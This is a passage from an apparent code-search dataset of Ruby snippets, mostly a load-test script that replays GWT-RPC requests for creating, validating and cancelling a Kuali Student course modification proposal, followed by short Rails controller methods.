ompFieldInfo/57577190|kuali.reqComponent.field.type.course.clu.id|%%_#{opts[:requisite_ind_dyn_var]}%%|kuali.reqComponent.type.course.completed|NEWSTMTTREE9999|org.kuali.student.core.statement.dto.StatementOperatorTypeKey/3804671217|kuali.statement.type.course.academicReadiness.studentEligibilityPrereq|1|2|3|4|4|5|5|6|6|7|8|9|1|10|111111|11|1|12|0|1|-2|13|14|1|15|16|17|18|18|0|0|19|0|16|14|1|20|0|21|22|0|23|14|0|9|0|17|0|18|24|0|0|25|0|0|26|\"\n }, {'subst' => 'true'}\n )\n\n @request.add_thinktime(5)\n\n # The next 2 HTTP Requests happen after clicking on the \"Start Term\" dropdown and clicking on \"Spring Semester 2012\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|20|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.advancedAtpSearchParam.atpStartDateAtpConstraintId|kuali.atp.SP2011-2012|atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|1|2|3|4|1|5|5|0|0|6|2|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|7|17|0|18|19|20|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|23|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.advancedAtpSearchParam.atpStartDateAtpConstraintId|kuali.atp.FA2007-2008|atp.advancedAtpSearchParam.atpEndDateAtpConstraintIdExclusive|kuali.atp.SP2011-2012|atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|org.kuali.student.common.search.dto.SortDirection/1734387768|1|2|3|4|1|5|5|0|0|6|3|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|7|17|0|18|7|19|0|20|21|22|23|1|0|\"\n }\n )\n\n @request.add_thinktime(10)\n\n # The next 4 HTTP Requests happen after clicking \"Save\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|156|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|NO|_runtimeData|id-translation|North|code|#{course_number}|courseNumberSuffix|122|courseSpecificLOs|courseTitle|#{new_course_title}|creditOptions|fixedCreditValue|#{new_credit_value}|id|%%_#{opts[:new_credit_id_dyn_var]}%%|metaInfo|createId|#{opts[:modification_person]}|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.util.Date/1659716317|updateId|updateTime|versionInd|0|resultValues|5.0|state|Draft|type|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|formatted|%%_#{opts[:description_dyn_var]}%%|plain|%%_#{opts[:description_dyn_var]}%%#{new_description_addition}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|java.sql.Timestamp/1769758459|expenditure|affiliatedOrgs|fees|formats|activities|activityType|kuali.lu.type.activity.Lecture|contactHours|unitQuantity|3|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|%%_#{opts[:defaultEnrollmentEstimate_dyn_var]}%%|2|unitsContentOwner|Lecture|kuali.lu.type.activity.Lab|%%_#{opts[:lecture_dyn_var]}%%|Lab|%%_#{opts[:lab_dyn_var]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|Letter|Pass-Fail|%%_#{opts[:pass_fail_dyn_var]}%%|instructors|joints|level|100|outOfClassHours|1|pilotCourse|revenues|specialTopicsCourse|subjectArea|#{course_code}|kuali.atp.season.Fall|kuali.atp.season.Winter|kuali.atp.season.Spring|Fall|Winter|Spring|transcriptTitle|MICROBES AND SOCIETY|kuali.lu.type.CreditCourse|65|Biology Dept|unitsDeployment|variations|versionInfo|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionComment|versionIndId|%%_#{opts[:course_ind_dyn_var]}%%|versionedFromId|%%_#{opts[:course_name_dyn_var]}%%|Standard final Exam|dirty|startTerm|endTerm|proposal|prevStartTerm|kuali.atp.FA2007-2008|workflowNode|PreRoute|%%_#{opts[:preRoute_dyn_var]}%%|4|name|Modify: #{course_title}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{new_proposal_rationale}|Saved|kuali.proposal.type.course.modify|workflowId|%%_#{opts[:workflowId_dyn_var]}%%|collaboratorInfo|collaborators|kuali.atp.SP2011-2012|1|2|3|4|1|5|5|6|7|0|40|8|9|10|11|1|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|0|-1|-31|8|29|14|30|8|31|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|32|14|33|8|34|14|35|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|41|1645031230|1322849927168|8|42|14|38|8|43|40|41|1645031230|1322849927168|8|44|14|45|-43|-49|8|46|17|5|6|7|0|1|18|-15|14|47|-43|-65|8|48|14|49|8|50|14|51|8|21|17|5|6|7|0|1|8|50|17|5|6|7|0|1|8|22|14|52|-77|-79|-43|-75|-39|-41|-1|-37|8|53|17|5|6|7|0|0|-1|-85|8|54|17|5|6|7|0|2|8|55|14|56|8|57|14|58|-1|-89|8|59|17|5|6|7|0|3|8|60|14|61|8|62|63|19|1|8|21|17|5|6|7|0|1|8|60|17|5|6|7|0|1|8|22|14|64|-108|-110|-99|-106|-1|-97|8|65|40|66|3208226304|1185410973696|0|8|67|17|5|6|7|0|1|8|68|17|5|6|7|0|0|-121|-123|-1|-119|8|69|17|5|6|7|0|0|-1|-127|8|70|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|71|17|5|6|7|0|2|18|-15|17|5|6|7|0|9|8|72|14|73|8|74|17|5|6|7|0|3|8|75|14|76|8|77|14|78|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|79|-159|-161|-151|-157|-145|-149|8|80|63|-15|8|59|17|5|6|7|0|3|8|60|14|61|8|62|63|-105|8|21|17|5|6|7|0|1|8|60|17|5|6|7|0|1|8|22|14|64|-179|-181|-171|-177|-145|-169|8|34|14|81|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|66|1644953988|1322849927168|156000000|8|42|14|38|8|43|40|41|1645031161|1322849927168|8|44|14|82|-145|-189|8|48|14|49|8|83|17|5|6|7|0|0|-145|-207|8|21|17|5|6|7|0|1|8|72|17|5|6|7|0|1|8|22|14|84|-213|-215|-145|-211|-141|-143|18|-105|17|5|6|7|0|9|8|72|14|85|8|74|17|5|6|7|0|3|8|75|14|82|8|77|14|78|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|79|-237|-239|-229|-235|-223|-227|8|80|63|-15|8|59|17|5|6|7|0|3|8|60|14|61|8|62|63|-105|8|21|17|5|6|7|0|1|8|60|17|5|6|7|0|1|8|22|14|64|-257|-259|-249|-255|-223|-247|8|34|14|86|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|66|1644954002|1322849927168|170000000|8|42|14|38|8|43|40|41|1645031210|1322849927168|8|44|14|82|-223|-267|8|48|14|49|8|83|17|5|6|7|0|0|-223|-285|8|21|17|5|6|7|0|1|8|72|17|5|6|7|0|1|8|22|14|87|-291|-293|-223|-289|-141|-221|-137|-139|8|34|14|88|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|66|1644953985|1322849927168|153000000|8|42|14|38|8|43|40|41|1645031149|1322849927168|8|44|14|82|-137|-301|8|48|14|49|8|89|17|5|6|7|0|0|-137|-319|8|50|14|90|-133|-135|-1|-131|8|91|17|5|6|7|0|3|18|-15|14|92|18|-105|14|93|8|21|17|5|6|7|0|2|18|-15|17|5|6|7|0|1|8|22|14|94|-335|-337|18|-105|17|5|6|7|0|1|8|22|14|95|-335|-343|-327|-333|-1|-325|8|34|14|96|8|97|17|5|6|7|0|0|-1|-351|8|98|17|5|6|7|0|0|-1|-355|8|99|14|100|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|66|1644953677|1322849927168|845000000|8|42|14|38|8|43|40|41|1645031116|1322849927168|8|44|14|76|-1|-361|8|101|17|5|6|7|0|2|8|75|14|102|8|77|14|78|-1|-377|8|103|10|11|0|8|104|17|5|6|7|0|0|-1|-388|8|105|10|-387|8|48|14|49|8|106|14|107|8|89|17|5|6|7|0|4|18|-15|14|108|18|-105|14|109|18|19|2|14|110|8|21|17|5|6|7|0|3|18|-15|17|5|6|7|0|1|8|22|14|111|-411|-413|18|-105|17|5|6|7|0|1|8|22|14|112|-411|-419|18|-407|17|5|6|7|0|1|8|22|14|113|-411|-425|-400|-409|-1|-398|8|114|14|115|8|50|14|116|8|83|17|5|6|7|0|2|18|-15|14|117|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|118|-443|-445|-437|-441|-1|-435|8|119|17|5|6|7|0|0|-1|-451|8|120|17|5|6|7|0|0|-1|-455|8|121|17|5|6|7|0|4|8|122|123|124|2|0|8|125|14|125|8|126|14|127|8|128|14|129|-1|-459|8|21|17|5|6|7|0|3|8|106|17|5|6|7|0|1|8|22|14|107|-474|-476|8|13|17|5|6|7|0|1|8|22|14|130|-474|-482|8|131|17|5|6|7|0|2|8|132|10|-5|8|133|10|-5|-474|-488|-1|-472|8|134|17|5|6|7|0|13|8|135|14|136|8|137|14|138|8|34|14|139|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|66|1644954426|1322849927168|594000000|8|42|14|38|8|43|40|41|1645032120|1322849927168|8|44|14|140|-498|-506|8|141|14|142|8|143|17|5|6|7|0|1|18|-15|14|96|-498|-524|8|144|14|145|8|146|17|5|6|7|0|0|-498|-532|8|147|17|5|6|7|0|0|-498|-536|8|148|14|149|8|48|14|150|8|50|14|151|8|152|14|153|-1|-496|8|154|17|5|6|7|0|1|8|155|17|5|6|7|0|0|-550|-552|-1|-548|-492|14|156|-494|14|0|0|0|\"\n }, {'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:new_active_date_dyn_var], \"re\" => opts[:new_active_date_var_regexp]}\n ]\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add_thinktime(5)\n\n # The next 5 HTTP Requests happen after clicking \"Review Proposal\" in the left-hand pane\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/DocumentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5771428875B68D3E8EC7527EC8D18D40|org.kuali.student.core.document.ui.client.service.DocumentRpcService|getRefDocIdsForRef|java.lang.String/2004016611|kuali.org.RefObjectType.ProposalInfo|%%_#{opts[:preRoute_dyn_var]}%%|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|155|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|validate|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|NO|_runtimeData|id-translation|North|code|#{course_number}|courseNumberSuffix|122|courseSpecificLOs|courseTitle|#{new_course_title}|creditOptions|fixedCreditValue|#{new_credit_value}|id|%%_#{opts[:new_credit_id_dyn_var]}%%|metaInfo|createId|#{opts[:modification_person]}|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.util.Date/1659716317|updateId|updateTime|versionInd|0|resultValues|5.0|state|Draft|type|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|formatted|%%_#{opts[:description_dyn_var]}%%|plain|%%_#{opts[:description_dyn_var]}%%#{new_description_addition}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|java.sql.Timestamp/1769758459|expenditure|affiliatedOrgs|fees|formats|activities|activityType|kuali.lu.type.activity.Lecture|contactHours|unitQuantity|3|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|%%_#{opts[:defaultEnrollmentEstimate_dyn_var]}%%|unitsContentOwner|Lecture|kuali.lu.type.activity.Lab|2|%%_#{opts[:lecture_dyn_var]}%%|Lab|%%_#{opts[:lab_dyn_var]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|Letter|Pass-Fail|%%_#{opts[:pass_fail_dyn_var]}%%|instructors|joints|level|100|4|outOfClassHours|1|pilotCourse|revenues|specialTopicsCourse|startTerm|kuali.atp.SP2011-2012|subjectArea|#{course_code}|kuali.atp.season.Fall|kuali.atp.season.Winter|kuali.atp.season.Spring|Fall|Winter|Spring|transcriptTitle|MICROBES AND SOCIETY|kuali.lu.type.CreditCourse|65|Biology Dept|unitsDeployment|variations|versionInfo|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionComment|versionIndId|%%_#{opts[:course_ind_dyn_var]}%%|versionedFromId|%%_#{opts[:course_name_dyn_var]}%%|%%_#{opts[:new_active_date_dyn_var]}%%|Standard final Exam|proposal|prevStartTerm|kuali.atp.FA2007-2008|workflowNode|PreRoute|%%_#{opts[:preRoute_dyn_var]}%%|name|Modify: #{course_title}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{new_proposal_rationale}|Saved|kuali.proposal.type.course.modify|workflowId|%%_#{opts[:workflowId_dyn_var]}%%|collaboratorInfo|collaborators|1|2|3|4|1|5|5|6|7|0|39|8|9|10|11|1|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|0|-1|-31|8|29|14|30|8|31|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|32|14|33|8|34|14|35|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|41|1645031230|1322849927168|8|42|14|38|8|43|40|41|1645031230|1322849927168|8|44|14|45|-43|-49|8|46|17|5|6|7|0|1|18|-15|14|47|-43|-65|8|48|14|49|8|50|14|51|8|21|17|5|6|7|0|1|8|50|17|5|6|7|0|1|8|22|14|52|-77|-79|-43|-75|-39|-41|-1|-37|8|53|17|5|6|7|0|0|-1|-85|8|54|17|5|6|7|0|2|8|55|14|56|8|57|14|58|-1|-89|8|59|17|5|6|7|0|3|8|60|14|61|8|62|63|19|1|8|21|17|5|6|7|0|1|8|60|17|5|6|7|0|1|8|22|14|64|-108|-110|-99|-106|-1|-97|8|65|40|66|927505536|1327144894464|0|8|67|17|5|6|7|0|1|8|68|17|5|6|7|0|0|-121|-123|-1|-119|8|69|17|5|6|7|0|0|-1|-127|8|70|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|71|17|5|6|7|0|2|18|-15|17|5|6|7|0|9|8|72|14|73|8|74|17|5|6|7|0|3|8|75|14|76|8|77|14|78|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|79|-159|-161|-151|-157|-145|-149|8|80|63|-15|8|59|17|5|6|7|0|3|8|60|14|61|8|62|63|-105|8|21|17|5|6|7|0|1|8|60|17|5|6|7|0|1|8|22|14|64|-179|-181|-171|-177|-145|-169|8|34|14|81|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|66|1644953988|1322849927168|156000000|8|42|14|38|8|43|40|41|1646825117|1322849927168|8|44|14|76|-145|-189|8|48|14|49|8|82|17|5|6|7|0|0|-145|-207|8|21|17|5|6|7|0|1|8|72|17|5|6|7|0|1|8|22|14|83|-213|-215|-145|-211|-141|-143|18|-105|17|5|6|7|0|9|8|72|14|84|8|74|17|5|6|7|0|3|8|75|14|85|8|77|14|78|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|79|-237|-239|-229|-235|-223|-227|8|80|63|-15|8|59|17|5|6|7|0|3|8|60|14|61|8|62|63|-105|8|21|17|5|6|7|0|1|8|60|17|5|6|7|0|1|8|22|14|64|-257|-259|-249|-255|-223|-247|8|34|14|86|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|66|1644954002|1322849927168|170000000|8|42|14|38|8|43|40|41|1646825127|1322849927168|8|44|14|76|-223|-267|8|48|14|49|8|82|17|5|6|7|0|0|-223|-285|8|21|17|5|6|7|0|1|8|72|17|5|6|7|0|1|8|22|14|87|-291|-293|-223|-289|-141|-221|-137|-139|8|34|14|88|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|66|1644953985|1322849927168|153000000|8|42|14|38|8|43|40|41|1646825099|1322849927168|8|44|14|76|-137|-301|8|48|14|49|8|89|17|5|6|7|0|0|-137|-319|8|50|14|90|-133|-135|-1|-131|8|91|17|5|6|7|0|3|18|-15|14|92|18|-105|14|93|8|21|17|5|6|7|0|2|18|-15|17|5|6|7|0|1|8|22|14|94|-335|-337|18|-105|17|5|6|7|0|1|8|22|14|95|-335|-343|-327|-333|-1|-325|8|34|14|96|8|97|17|5|6|7|0|0|-1|-351|8|98|17|5|6|7|0|0|-1|-355|8|99|14|100|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|66|1644953677|1322849927168|845000000|8|42|14|38|8|43|40|41|1646825064|1322849927168|8|44|14|101|-1|-361|8|102|17|5|6|7|0|2|8|75|14|103|8|77|14|78|-1|-377|8|104|10|11|0|8|105|17|5|6|7|0|0|-1|-388|8|106|10|-387|8|107|14|108|8|48|14|49|8|109|14|110|8|89|17|5|6|7|0|4|18|-15|14|111|18|-105|14|112|18|19|2|14|113|8|21|17|5|6|7|0|3|18|-15|17|5|6|7|0|1|8|22|14|114|-413|-415|18|-105|17|5|6|7|0|1|8|22|14|115|-413|-421|18|-409|17|5|6|7|0|1|8|22|14|116|-413|-427|-402|-411|-1|-400|8|117|14|118|8|50|14|119|8|82|17|5|6|7|0|2|18|-15|14|120|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|121|-445|-447|-439|-443|-1|-437|8|122|17|5|6|7|0|0|-1|-453|8|123|17|5|6|7|0|0|-1|-457|8|124|17|5|6|7|0|4|8|125|126|127|2|0|8|128|14|128|8|129|14|130|8|131|14|132|-1|-461|8|21|17|5|6|7|0|3|8|107|17|5|6|7|0|1|8|22|14|133|-476|-478|8|109|17|5|6|7|0|1|8|22|14|110|-476|-484|8|13|17|5|6|7|0|1|8|22|14|134|-476|-490|-1|-474|8|135|17|5|6|7|0|13|8|136|14|137|8|138|14|139|8|34|14|140|8|36|17|5|6|7|0|5|8|37|14|38|8|39|40|66|1644954426|1322849927168|594000000|8|42|14|38|8|43|40|41|1646826013|1322849927168|8|44|14|33|-498|-506|8|141|14|142|8|143|17|5|6|7|0|1|18|-15|14|96|-498|-524|8|144|14|145|8|146|17|5|6|7|0|0|-498|-532|8|147|17|5|6|7|0|0|-498|-536|8|148|14|149|8|48|14|150|8|50|14|151|8|152|14|153|-1|-496|8|154|17|5|6|7|0|1|8|155|17|5|6|7|0|0|-550|-552|-1|-548|0|0|\"\n }, {'subst' => 'true'}\n )\n\n @request.add_thinktime(10)\n\n # The next 4 HTTP Requests happen after clicking in the \"Proposal Actions\" dropdown and clicking \"Cancel Proposal\" and then clicking \"Yes, cancel proposal\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|cancelDocumentWithId|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add_thinktime(5)\n\n end",
"title": ""
},
{
"docid": "c7ae6217347efd9b0fa9309b8bfc0ddf",
"score": "0.5363853",
"text": "def set_funding_requirement\n @funding_requirement = FundingRequirement.find(params[:id])\n end",
"title": ""
},
{
"docid": "78a4bc1c4022f9d442528793e51911c5",
"score": "0.5361376",
"text": "def new\n #TODO This needs to be rethought. All requirements for most users should start life as a user_requirement? Unless an admin?\n\n\n @requirement.status = 'Public'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @requirement }\n end\n end",
"title": ""
},
{
"docid": "3354db3c3373bd422316f98c12749f48",
"score": "0.5361301",
"text": "def update!(**args)\n @restriction = args[:restriction] if args.key?(:restriction)\n end",
"title": ""
},
{
"docid": "61871ff674bfd4ed9fcb97aac7d029db",
"score": "0.5357544",
"text": "def edit\n @line = Line.find(params[:id])\n @budget = @line.budget\n end",
"title": ""
},
{
"docid": "2c8ebb7207e2ee06b490af7da558f787",
"score": "0.5351696",
"text": "def update\n @plans = @goal.plans\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n @needs = @goal.needs\n respond_to do |format|\n if @goal.update(goal_params)\n format.html { redirect_to back_index_case_url, notice: 'Goal was successfully updated.' }\n # format.json { render :show, status: :ok, location: @goal }\n else\n format.html { render :edit }\n format.json { render json: @goal.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "91f44fa9b40f1d3ba0c9125683d99769",
"score": "0.5351181",
"text": "def sibling_id=(id)\n self.requirements_list = Requirement.find(id).requirements_list\n end",
"title": ""
},
{
"docid": "6bf2231b6615cf6e2d212ecf73eff937",
"score": "0.53337055",
